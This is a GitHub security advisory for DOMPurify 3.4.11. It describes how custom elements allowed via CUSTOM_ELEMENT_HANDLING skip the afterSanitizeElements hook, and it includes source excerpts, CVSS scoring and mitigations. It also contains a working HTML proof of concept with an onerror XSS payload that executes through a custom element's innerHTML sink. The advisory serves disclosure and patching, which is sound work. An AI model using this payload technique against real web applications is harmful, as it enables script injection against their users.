Skip to content

DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.

Low severity GitHub Reviewed Published Jul 11, 2026 in cure53/DOMPurify • Updated Jul 21, 2026

Package

npm dompurify (npm)

Affected versions

<= 3.4.11

Patched versions

3.4.12

Description

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

  • the namespace validation at src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm  letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
  • the fallback-tag mXSS check at src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
  • most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

  1. Save the following HTML to a file, for example poc.html.
  2. Open it in a browser.
  3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
  4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>

Expected result

control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

poc

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

  • enable CUSTOM_ELEMENT_HANDLING,
  • rely on afterSanitizeElements as a security policy layer,
  • expect that hook to apply uniformly to all surviving elements,
  • and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

  • ensuring that allowed custom elements also consistently pass through afterSanitizeElements
  • documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

References

@cure53 cure53 published to cure53/DOMPurify Jul 11, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-c2j3-45gr-mqc4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.